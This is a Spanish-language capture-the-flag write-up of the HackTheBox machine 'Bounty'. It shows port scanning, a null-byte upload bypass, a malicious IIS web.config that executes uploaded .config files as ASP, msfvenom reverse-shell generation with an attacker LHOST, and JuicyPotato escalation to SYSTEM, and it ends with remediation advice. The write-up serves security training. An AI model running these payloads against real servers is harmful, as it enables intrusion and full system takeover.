Entrada

Bounty

Windows (IIS 7.5) en el que una subida de ficheros se convierte en ejecución de comandos subiendo un web.config que reconfigura la carpeta para ejecutar .config como ASP; de ahí shell como merlin, y con SeImpersonatePrivilege y JuicyPotato se salta a NT AUTHORITY\SYSTEM.

Bounty

Publicado por Jaime Hereza Niño

Publicado 24/10/2026
12 min de lectura
Mi puntuación
15747 votos
MáquinaSODificultadIP
BountyWindowsEasy10.129.89.135

A tener en cuenta...

┌──(jaime㉿kali)-[~]└─$ sudo nano /etc/hosts
10.129.89.135 bounty

Resumen

Bounty es un Windows antiguo con un único servicio: un servidor web IIS que deja subir ficheros. La vía de entrada no es un fallo del código de subida, sino una peculiaridad de IIS: una carpeta puede reconfigurarse a sí misma con un web.config, y eso permite hacer que ejecute como código lo que debería servir como texto.

Subiendo un web.config malicioso a la carpeta de subidas consigo ejecución de comandos, y de ahí una shell como merlin.

La escalada es la clásica de un servidor Windows viejo con SeImpersonatePrivilege: con JuicyPotato se abusa de la suplantación de tokens para saltar a NT AUTHORITY\SYSTEM.

No es tan directa como promete su dificultad — hay que encadenar varios pasos y pelearse con los detalles — pero cada pieza es un patrón que conviene tener muy visto.

Vulnerabilidad

Son dos piezas, una por cada mitad de la máquina.

01 · Subida de ficheros + ejecución vía web.config

La web deja subir ficheros y filtra por extensión, pero el filtro es débil y, sobre todo, no contempla lo importante: en IIS, el fichero web.config configura el comportamiento de la carpeta donde está. Si puedo dejar un web.config en la carpeta de subidas, puedo decirle a IIS que ejecute los ficheros .config de esa carpeta como código ASP clásico — y de paso quitar .config de la lista de extensiones bloqueadas. Es una técnica conocida: subir configuración es, en la práctica, subir código.

02 · SeImpersonatePrivilege (abuso de tokens)

La cuenta de servicio de IIS tiene habilitado SeImpersonatePrivilege, el permiso para suplantar a un cliente tras autenticarlo. En un Windows de esta época eso es una escalada directa: herramientas de la familia Potato (aquí JuicyPotato) engañan a un servicio privilegiado para que se autentique contra ellas y les entregue su token, y con ese token se lanza un proceso como SYSTEM.

Reconocimiento

Barrido completo de puertos contra la víctima, con detección de sistema operativo

┌──(jaime㉿kali)-[~]└─$ sudo nmap -p- -n -Pn -sS --max-retries 1 -O -osscan-guess bounty
PuertoServicio
80http

Un único puerto abierto, el 80, y el resto filtrados. El fingerprinting no es fiable sin un puerto cerrado con el que comparar, pero apunta claramente a un Windows antiguo — Server 2008 / 7 / Vista. Con solo la web, ahí está todo.

Escaneo completo de puertos
Figura 1: Escaneo completo de puertos

Enumeración

Enumeración de versiones sobre el puerto 80

┌──(jaime㉿kali)-[~]└─$ sudo nmap -p 80 -sCV --version-intensity 9 -n bounty
80/tcp open http Microsoft IIS httpd 7.5 |_http-server-header: Microsoft-IIS/7.5 |_http-title: Bounty
Enumeración de versiones del servicio
Figura 2: Enumeración de versiones del servicio

Microsoft IIS 7.5, que es el de Windows Server 2008 R2. Miro qué más cuenta el servidor con whatweb

┌──(jaime㉿kali)-[~]└─$ whatweb http://bounty.htb
http://bounty.htb [200 OK] HTTPServer[Microsoft-IIS/7.5], Microsoft-IIS[7.5], IP[10.129.89.135], Title[Bounty], X-Powered-By[ASP.NET]
Tecnologías detectadas en el servidor
Figura 3: Tecnologías detectadas en el servidor

X-Powered-By: ASP.NET — la web es ASP.NET, así que las extensiones que me interesan son .aspx. Enumero directorios

┌──(jaime㉿kali)-[~]└─$ dirsearch -u "http://bounty.htb"
Enumeración de directorios con dirsearch
Figura 4: Enumeración de directorios con dirsearch

dirsearch no saca gran cosa, así que insisto con gobuster forzando la extensión .aspx

┌──(jaime㉿kali)-[~]└─$ gobuster dir -u http://bounty.htb -w /usr/share/wordlists/dirb/common.txt -r -b 404,403 -x aspx -t 50
transfer.aspx (Status: 200) [Size: 941]
gobuster descubretransfer.aspx
Figura 5: gobuster descubre /transfer.aspx

Ahí aparece /transfer.aspx, que no salía antes. Al visitarlo, un formulario de subida de ficheros

El formulario de subida detransfer.aspx
Figura 6: El formulario de subida de /transfer.aspx

Explotación

Lo primero es ver qué acepta el formulario. Pruebo a subir directamente una webshell con extensión .aspx

La extensión .aspx está capada
Figura 7: La extensión .aspx está capada

Invalid File. Please try again — hay un filtro de extensiones. En cambio, una imagen .jpg sube sin problema

Los .jpg sí se permiten
Figura 8: Los .jpg sí se permiten

El primer intento de bypass es un byte nulo: interceptando con Burp, renombro el fichero a prueba.aspx%00.jpg. El filtro ve un .jpg al final y lo deja pasar, pero el byte nulo trunca el nombre y en disco se guarda como .aspx

Bypass del filtro con byte nulo
Figura 9: Bypass del filtro con byte nulo

El fichero sube, pero para que sirva de algo tiene que ejecutarse, y para eso necesito saber dónde aterminan las subidas y que esa carpeta interprete ASP. Ahí entra la técnica que de verdad resuelve la máquina.

El truco del web.config

En IIS, el fichero web.config configura la carpeta donde está. Si consigo dejar uno en la carpeta de subidas, reconfiguro esa carpeta a mi gusto. Lo compruebo primero con un web.config inofensivo que, además de la configuración, lleva una línea de ASP que escribe «hola»

<?xml version="1.0" encoding="UTF-8"?> <configuration><system.webServer> <handlers accessPolicy="Read, Script, Write"> <add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" /> </handlers> <security><requestFiltering> <fileExtensions><remove fileExtension=".config" /></fileExtensions> <hiddenSegments><remove segment="web.config" /></hiddenSegments> </requestFiltering></security> </system.webServer></configuration> <% Response.Write("hola") %>
web.config de prueba, con una línea de ASP
Figura 10: web.config de prueba, con una línea de ASP

Lo subo

El .config se sube sin bloqueo
Figura 11: El .config se sube sin bloqueo

Y al visitarlo, la prueba sale perfecta: la carpeta de subidas es /UploadedFiles y el .config se ejecuta como código, no se sirve como texto

/UploadedFiles/web.config ejecuta el ASP: «hola»
Figura 12: /UploadedFiles/web.config ejecuta el ASP: «hola»

Ese web.config hace dos cosas clave en la carpeta: define un handler que manda cualquier .config al intérprete de ASP clásico (asp.dll), y quita .config de la lista de extensiones bloqueadas. Convierte /UploadedFiles en un sitio donde subir un .config con código dentro equivale a ejecutar.

Para la shell de verdad tiro de HackTricks, que documenta esta técnica y enlaza un ejemplo en el repositorio PayloadsAllTheThings

HackTricks: ejecutar ficheros .config en IIS
Figura 13: HackTricks: ejecutar ficheros .config en IIS

El web.config de ejemplo trae ya el código para ejecutar comandos: lee un parámetro cmd de la URL y lo pasa a WScript.Shell

El web.config con ejecución de comandos
Figura 14: El web.config con ejecución de comandos

Mención importante: descargando de GitHub con wget sobre una URL de tipo /blob/ se baja el HTML de la página, no el fichero. Hay que cambiar /blob/ por /raw/refs/heads/ (con curl -o pasa lo mismo)

Descargar el fichero crudo conraw/refs/heads/
Figura 15: Descargar el fichero crudo con /raw/refs/heads/

Subo ese web.config a /UploadedFiles

Subida del web.config con la shell
Figura 16: Subida del web.config con la shell

Y pruebo a ejecutar un comando añadiendo ?cmd=whoami

http://bounty.htb/UploadedFiles/shell.config?cmd=whoami

bounty\merlin
Ejecución de comandos: whoami devuelve bounty\merlin
Figura 17: Ejecución de comandos: whoami devuelve bounty\merlin

Ejecución de comandos como bounty\merlin. El último paso es pasar de ejecutar comandos sueltos a una shell interactiva. Preparo una reverse shell de PowerShell en una línea

Reverse shell de PowerShell
Figura 18: Reverse shell de PowerShell

La meto en el parámetro cmd, pero hay que codificarla en URL para que el servidor la interprete entera; lo hago cómodamente desde Burp

La reverse shell codificada en URL desde Burp
Figura 19: La reverse shell codificada en URL desde Burp

Dato: el servidor limpia la carpeta /UploadedFiles cada poco, y cuando lo hace la shell vuelve a dar 404. Hay que moverse rápido entre subir y disparar.

Con el nc a la escucha en el 443, la conexión entra

connect to [10.10.15.95] from (UNKNOWN) [10.129.89.135] 49157 bounty\merlin PS C:\windows\system32\inetsrv>
Reverse shell interactiva como merlin
Figura 20: Reverse shell interactiva como merlin

Ya con shell, voy a por la primera bandera. Está en el escritorio de merlin, pero oculta: un dir normal no la muestra, hace falta dir -Force

PS C:\Users\merlin\Desktop> dir -Force PS C:\Users\merlin\Desktop> type user.txt
4f06875289c44327c9329cc01985e3de
Lectura de la flag de usuario (oculta)
Figura 21: Lectura de la flag de usuario (oculta)

Escalada de privilegios

Lo primero en un Windows es mirar los privilegios de la cuenta

PS C:\windows\system32\inetsrv> whoami /priv
Privilege Name Description State SeChangeNotifyPrivilege Bypass traverse checking Enabled SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeImpersonatePrivilege habilitado
Figura 22: SeImpersonatePrivilege habilitado

SeImpersonatePrivilege habilitado. En un Windows Server 2008 R2 eso es una escalada directa con JuicyPotato, que abusa de la suplantación de tokens. Se podría haber ido por el camino de systeminfo + un suggester de parches para buscar un exploit de kernel

Alternativa: suggester de parches (wesng)
Figura 23: Alternativa: suggester de parches (wesng)

…pero teniendo SeImpersonate delante, JuicyPotato es más limpio. Subo a C:\Windows\Temp el JuicyPotato.exe y un nc.exe con certutil

JuicyPotato.exe y nc.exe subidos con certutil
Figura 24: JuicyPotato.exe y nc.exe subidos con certutil

El primer intento, lanzando JuicyPotato para que ejecutara directamente nc.exe, no me funcionó por más vueltas que le di. La solución fue generar una reverse shell propia con msfvenom y pasársela a JuicyPotato como el ejecutable a lanzar

┌──(jaime㉿kali)-[~]└─$ msfvenom -p windows/shell_reverse_tcp LHOST=10.10.15.95 LPORT=1234 -f exe -o shell1234.exe
Reverse shell generada con msfvenom
Figura 25: Reverse shell generada con msfvenom

Con el .exe en la víctima, lanzo JuicyPotato apuntando a él

PS C:\Windows\Temp\PrivEsc> .\JuicyPotato.exe -t * -p C:\Windows\Temp\PrivEsc\shell1234.exe -l 1337
[+] authresult 0 {4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM [+] CreateProcessWithTokenW OK

El listener del 1234 recibe la shell, y esta vez el whoami es el bueno

Microsoft Windows [Version 6.1.7600] C:\Windows\system32>whoami nt authority\system
JuicyPotato devuelve una shell como NT AUTHORITY\SYSTEM
Figura 26: JuicyPotato devuelve una shell como NT AUTHORITY\SYSTEM

NT AUTHORITY\SYSTEM. Control total, y con él la última bandera, en el escritorio del administrador

C:\Users\Administrator\Desktop>type root.txt
253060181c28e50165899ec3173e6b97

Flags

La de usuario, en el escritorio de merlin (oculta, con dir -Force)

4f06875289c44327c9329cc01985e3de

Y la de root, en el de Administrator

253060181c28e50165899ec3173e6b97

Cómo se arregla

La cadena nace de una subida mal controlada y de un privilegio peligroso. Por capas:

  • Validar bien las subidas: no fiarse de la extensión, y menos de una lista negra. Validar el tipo real del fichero, renombrar lo subido y guardarlo fuera del webroot, en almacenamiento que no ejecute nada.
  • Bloquear web.config en las subidas: IIS no debería permitir que un usuario deje un web.config en una carpeta de subidas. La carpeta de uploads debe tener la ejecución de scripts deshabilitada y la escritura de configuración denegada.
  • No procesar byte nulo: sanear los nombres de fichero y rechazar caracteres de control como %00.
  • Quitar SeImpersonate a la cuenta web: es el privilegio que convierte un RCE de bajo nivel en SYSTEM. La cuenta del application pool debe correr con los mínimos privilegios y sin SeImpersonate/SeAssignPrimaryToken.
  • Actualizar el sistema: un Windows Server 2008 R2 está fuera de soporte; las familias Potato clásicas dejan de funcionar en versiones modernas con las mitigaciones al día.

Conclusiones

Una máquina bastante avanzada para el nivel que propone HackTheBox, es verdad que a mi la escalada al hacerlo desde la shell que me pasaba con Burp Suite, un error enorme, se me complicó mucho, he visto otras resouciones y deberia de haberse hecho en 5 minutos, pero de todos modos, no la pondría como nivel Easy, es basante más Medium, muy recomendable

Esta entrada está licenciada bajo CC BY 4.0 por el autor.